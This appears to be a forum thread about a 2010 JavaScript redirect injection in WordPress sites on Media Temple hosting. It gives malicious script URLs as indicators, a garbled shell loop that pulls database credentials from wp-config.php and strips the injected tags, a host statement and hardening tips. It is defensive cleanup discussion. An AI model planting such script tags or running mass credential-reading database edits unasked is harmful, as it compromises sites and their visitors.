Media Temple oeaou hack

Media Temple has details about the attack here. Sadly, they haven’t stated any corrective action taken on their part to ensure that such an attack doesn’t happen again.

The easiest way that I found to get rid of all the code was to run an SSH scan using the provided string on that page. I modified it to include ue.oeaou.com/31 which theirs doesn’t.

Running this once should get rid of the redirects from all domains in the domains folder.

cd ~/domains/ && for x infind . -type f -perm -u+r -name “wp-config.php” 2>/dev/null; do if mysql -uegrep DB_USER $x | awk -F\’ ‘{print $4}’-hinternal-db.secho $HOME | awk -F/ ‘{print $3}’.gridserver.com -pegrep DB_PASSWORD $x | awk -F\’ ‘{print $4}’egrep DB_NAME $x | awk -F\’ ‘{print $4}’-e "select post_content fromegrep table_prefix $x | awk -F\’ ‘{print $2}’posts;" | egrep -q "(ae\.awaue\.com/7|ue\.oeaou\.com/31|ie\.eracou\.com/3|ao\.euuaw\.com/9)" 2>/dev/null; then mysql -uegrep DB_USER $x | awk -F\’ ‘{print $4}’-h internal-db.secho $HOME | awk -F/ ‘{print $3}’.gridserver.com -pegrep DB_PASSWORD $x | awk -F\’ ‘{print $4}’egrep DB_NAME $x | awk -F\’ ‘{print $4}’-e "UPDATEegrep table_prefix $x | awk -F\’ ‘{print $2}’posts SET post_content = replace(replace(replace( post_content, '<script src=\"https://ae.awaue.com/7\"></script>', ''), '<script src=\"https://ue.oeaou.com/31\"></script>', ''), '<script src=\"https://ie.eracou.com3\"></script>', ''), '<script src=\"https://ao.euuaw.com/9\"></script>', '');" 2>/dev/null; echo -e "\n$x - Redirect Exploit cleaned in databaseegrep DB_NAME $x | awk -F\’ ‘{print $4}’"; fi; done;

Well, my response from MT (after 20hours) was as to be expected:

(mt) Media Temple has done everything it can to keep the (gs) as secure as possible, and we roll out security updates to our servers as they become available. However, when there’s a vulnerability in the site software (CMS, Blog, Shopping Cart, etc) that is being used, having the most secure server in the world (I’m not saying the (gs) is; I’m just using this as an example) hosting that site won’t prevent the site from being hacked/exploited.

I am quite annoyed right now. It seems that MT is simply ignoring the issue.

I just discovered this on my only site managed with MT. Other hosts do not have the same issue as far as I know. With that said, the fix that MediaTemple put up at https://wiki.mediatemple.net/w/WordPress_Redirect_Exploit did solve this issue and I’m in the process of changing database password – oh the joy.

Thanks to all for the help and feedback.

Hi folks.

This looks like the attack vector was PhpMyAdmin – the code in the script:
pma_visited_theme
uses the same naming convention as PhpMyAdmin javascript vars.

The second thing that makes me suspect this is that on every MT PhpMyAdmin installation I have visited, it says the server certificate (for SSL/https) is expired. I wonder if that also has something to do with it.

I’ll pass this along to MT, in case they aren’t reading here any more.

One of my clients had this hack happen to them this morning. And it was a MediaTemple hosted website as well.

The fix is here:

https://wiki.mediatemple.net/w/WordPress_Redirect_Exploit

Basically just run some SQL that gets rid of the redirection stuff. The redirection script is in the wp_posts post_content table/field. Any idea how it could get in there?

When I ran the SQL to get rid of the redirection script, it found over 1100 entries. Yikes.

How did this happen? Is it a WordPress thing, or a MediaTemple thing? I wish I knew so that we could get it taken care of.

One more request to post wp-config.php permissions. Trying to understand if this only happens to sites where this file is world-readable.

I just noticed in my clients wp-config.php that all 4 authentication key values were at their default value of “put your unique phrase here”.

I used WordPress’s key generator here:

https://api.www.ads-software.com/secret-key/1.1/

to generate unique keys for it. I’m not sure if this could be part of the problem or not. I’m not exactly sure what these keys are protecting.

Did anyone else in this thread that had a hacked site have the default values for these 4 keys?

Checked one affected site and the perms are 751 (rwxr-x–x)

One unaffected (and much older) site has perms of 644 (rw-r–r–)

jakobud, I have had sites with altered auth keys and default keys compromised.

e: I didn’t use a key generator but typed in my own key phrases.

I ran this:

UPDATE wp_posts SET post_content = replace( post_content, ‘<script src=”https://ao.euuaw.com/9″></script>&#8217;, ‘ ‘)

That has removed the redirect, but now my blog is running supper slow. Trying to contact MT has been unsuccessful.

This nonsense doesn’t really help:

Please visit this link for the most recent security information from (mt) Media Temple:
https://mdtm.pl/dtZoR2

For security-related resources specific to this issue, please go here:
https://mdtm.pl/a1g66B

(mt) Media Temple is aware of the increasing reports of sites being interrupted by Google SafeBrowsing alerts, so we have developed some internal scanning/cleaning tools as a courtesy to our customers. As of this time, the majority of sites affected by the most recent exploits have been swept for malicious code and we will continue to scan all of the sites.

Here are the actions our internal scanning/cleaning tools take when malicious code is found:

1.) Create a backup of the suspicious files.
2.) Remove and clean the malicious code from the files.

Please note that you may still need to update your software and patch any remaining site-specific vulnerabilities, as maintaining third-party software falls outside of our scope of support (https://mdtm.pl/9BLcSK).

You may visit this link for additional information on recovering from a site compromise, as our actions may not have resolved all cases:
https://mdtm.pl/9wRVtC

Once any additional cleanup is complete, your options are:

1.) Patiently wait for the removal of the Google alert. The Google warning will subside once Google re-crawls/re-indexes your site.
2.) Access Google Webmaster Tools and request a site review/de-listing. Here are the relevant resources:

https://www.google.com/webmasters/tools
https://www.google.com/webmasters/tools/reconsideration?pli=1

If you require the assistance of a support agent please update this support request through the AccountCenter at https://ac.mediatemple.net/

Best Regards,

(mt) Media Temple
Hosting Operations

This is the second generic non-specific response I have received.

@xyclopsoft: There is no need to have the “executable” flag in permissions of .php files. They are executed by web server, not by operating system. “600” – is probably the best choice.

Anyway, if wp-config.php on a compromised site had 751 permissions, I doubt it could be read from any other account unless that account was in the same group as yours.

I use Media Temple too and have been hacked with this code on the bottom of every post and page: <script src=”https://ao.euuaw.com/9″></script&gt; My site is a lot slower now too.

I thought MT was supposed to be superior to other providers. They’ve been nothing but a headache since I’ve had them the past 5 months. First they had to reset everyone’s MT grid-server WordPress database password and now this. What next?

Hello all,

My name is Nicholas and I work at (mt) Media Temple. I want to try help eliminate any confusion in this dialogue. Our most recent statement on security can be found here:
https://mdtm.pl/dtZoR2

Having shared that, I want you to know that (mt) is here for you. We want nothing more than to help any affected customers overcome this and move on to greener pastures. Please open a support request via the AccountCenter and we will dig in. I realize that we cannot always be quite as timely as we would like, but efficiency and accuracy are very important to us in regard to addressing customer requests.

Secondly, exploits of this type are indeed happening on other hosts, and these types of redirects/includes/etc. are not unique to (mt) or our (gs) Grid-Service. In fact, php/javascript injections are incredibly common, and often go undetected. Here are some indicators:
https://sucuri.net/malware/entry/MW:JS:222
https://sucuri.net/malware/entry/MW:RKS:3
https://sucuri.net/malware/entry/MW:RKS:2

If you look to the right of those pages, you can see a wide variety of exploits that Sucuri.net has identified and attempted to classify. This should give you additional perspective on some of the other threats that are out there, and the number of threats on the internet is increasing all the time.

With any new “exploit” that is discovered (both internally and externally), we have our security team perform a detailed analysis. So far, our research has consistently allowed us to conclude that there is no issue with our infrastructure that could be linked to these exploits.

Also, it is important to note that the WordPress application itself is not considered to be the vulnerability either. Instead, it is just one of the primary targets of the “payloads” of these exploits. It seems that WordPress has been targeted because of its immense popularity, and because blogs tend to have a built-in audience and readership. Since the malicious parties want their “exploit” to go “viral” and spread like wildfire, blogs are a good target. For this and other reasons, it is always very important to keep all of your software and plug-ins up-to-date.

RE: Permissions

As was noted in this thread, improper file permissions can expose your wp-config.php, and thus, your database login credentials, to malicious parties. Once they can get into your DB server via a legitimate login, they can insert backdoor WP users, which can then be used to insert malicious code of all different flavors into databases/blog posts/etc. This is true of ANY Linux-based server, and for some shared servers out there, it can have additional ramifications. Let me repeat that: ***Having proper file permissions is imperative in order to keep data safe, particularly in regard to online content.***

Here is an article about Unix/Linux file permissions that may be helpful: https://en.wikipedia.org/wiki/Filesystem_permissions

How do permissions relate to the (gs) Grid-Service infrastructure?

Up until not too long ago, a (gs) Grid-Service user did have the ability to “chmod” his/her “domains” folder “wide open”, meaning 777. There are rare cases where a user might want this openness, in particular if he/she wanted to have inter-domain access on a single (gs). To clarify:

1) Each new (gs) Grid-Service has always been provisioned with proper permissions in place.
2) The user could then CHOOSE permissions that were not as strict.

In a recent move to prevent non-savvy users from causing themselves additional headaches, (mt) Media Temple rolled out a full-scale “Access Control List”, or ACL on the (gs) Grid-Service. More on that can be found here:
https://en.wikipedia.org/wiki/Access_control_list

What this has done is made it so that any user on the (gs) Grid-Service can change file permissions to the most relaxed of settings, and other customers on the same (gs) cluster would not be able to see data that had been improperly opened up.

Having said that, it is still important to maintain proper file permissions to prevent the outside world from seeing sensitive information. If you were to make your wp-config.php world-readable, you are just asking for your WP install to become compromised, and sadly, this is an all-too-common occurrence.

To further assist our customers, we have also worked with Sucuri.net to offer a discount on their services, so that if you are not quite confident in your ability to secure your site, you have a third-party option:
https://sucuri.net/mediatemple

In reference to one of the most recent comments… performing the removal of a script injection would not have any impact on the speed or performance of the blog (other than it would most likely help to secure it and prevent any unexpected page redirection).

So, sorry for the long post, but it is paramount to our operations and yours that the proper information is out there. In conclusion:

1) The (mt) Media Temple infrastructure is secure. We are always performing additional internal analysis to ensure that our systems remain secure.

2) We have added ADDITIONAL file system protection to the (gs) Grid-Service to help users who may not be Linux-savvy. Proper file system permissions are still always recommended.

3) These types of exploits are happening on other servers and other hosts.

4) We are actively doing everything we can to provide information, suggestions, and some degree of cleanup to our customers. We are also actively investigating any new exploits that come to our attention.

Please view our special security hub for more information, and note that we will be actively updating it with any new developments:
https://mediatemple.net/security

If you have additional questions, please submit a support request via the (mt) AccountCenter or give us a call at 877-578-4000.

Warm regards,

-Nicholas M.
(mt) Media Temple

I use MediaTemple and have also been hacked. with ue.oeaou.com/31 in the script.

I followed the steps to remove it from the databases successfully, but what I am unsure of now is whether I am protected from future exploits. I don’t want to have to spend hours each time to repair the problem if it becomes ongoing.

Other things I have done since this hack affected all WordPress databases on my account (regardless of the WP version)…

– updated DB passwords
– changed permissions on all wp-config.php files to 600.
– changed the Secret Keys on all wp-config.php files.
– updated all the wordpress sites to WP 3.01.

I hope someone figures out how the attack happened? Whether it’s a security problem with WordPress or with MediaTemple. If it’s a MediaTemple security issue then it would seem that these precautionary measures I have taken will not stop the hack from happening again.

You can also go here for more information regarding working through a site compromise:

https://wiki.mediatemple.net/w/Fixing_an_infected_website_-_%28basic_steps%29

https://wiki.mediatemple.net/w/Fixing_an_infected_website_-_%28detailed_steps%29

Hope this helps.